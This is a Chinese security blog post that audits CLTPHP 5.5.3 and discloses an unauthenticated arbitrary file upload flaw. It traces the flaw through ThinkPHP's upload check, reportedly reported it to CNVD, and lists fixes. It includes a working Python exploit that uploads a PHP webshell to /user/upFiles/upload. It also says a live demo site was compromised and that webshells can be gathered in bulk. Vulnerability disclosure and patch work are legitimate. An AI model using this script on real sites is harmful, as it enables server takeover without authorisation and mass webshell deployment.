【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

时间:2022-06-25
本文章向大家介绍【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

00

前言

CLTPHP采用ThinkPHP开发,后台采用Layui框架的内容管理系统。

在代码审计中,发现了一个无需权限的任意文件上传漏洞,可批量,已提交CNVD,分享一下思路。

01

环境搭建

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin 密码:admin123

02

代码分析

1、漏洞文件位置:/app/user/controller/UpFiles.php 第5-25行:

在这段函数中,未经用户权限验证,获取表单内容,存在越权绕过上传的情况。我们继续跟进move函数:

2、文件位置:/think/library/think/File.php 第329-377行:

在这段函数中,经过一系列检测后上传文件,我们重点来看一下check验证上传函数。

3、文件位置:/think/library/think/File.php 第218-245行:

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组$rule中获取,check函数未带入参数$rule,所以取$this->validate,而validate的值在该类有定义,我们看一下$validate的值

在同文件中validate默认值为空,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

03

漏洞利用

利用方式一:

通过编写Python脚本,模拟Ajax 异步请求,
Python’脚本如下:
#!/usr/bin/python 
#-*- coding: UTF-8 -*- 
#Author:Bypass 
#Date:2018.03.01 
import requests  
import sys  


def CLPHP_upload(url):  
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,  
 'X-Requested-With': 'XMLHttpRequest',}   
    geturl = url+"/user/upFiles/upload" 
    files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}  
    res = requests.post(geturl, files=files,headers=header)  
    print res.text  
 
if __name__ == "__main__":  
 if len(sys.argv) == 2:  
        url=sys.argv[1]  
        CLPHP_upload(url)  
        sys.exit(0)  
 else:  
        print ("usage: %s www.xxx.com" % sys.argv[0])  
        sys.exit(-1)   

2、在同一目录下放置脚本和1.php文件名的小马,运行Python脚本,成功上传木马并返回路径。

3、访问url,成功getshell

某demo演示站点已getshell:

1、修改url地址,运行Python脚本,获取一句话上传路径

2、成功控制网站服务器,未深入,仅截图作为演示。另外,通过该漏洞可批量获取webshell,具体要看用户量多少了。

04

修复建议

1、添加上传页面的认证,通过白名单限制上传文件后缀;

2、禁止上传目录脚本执行权限。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。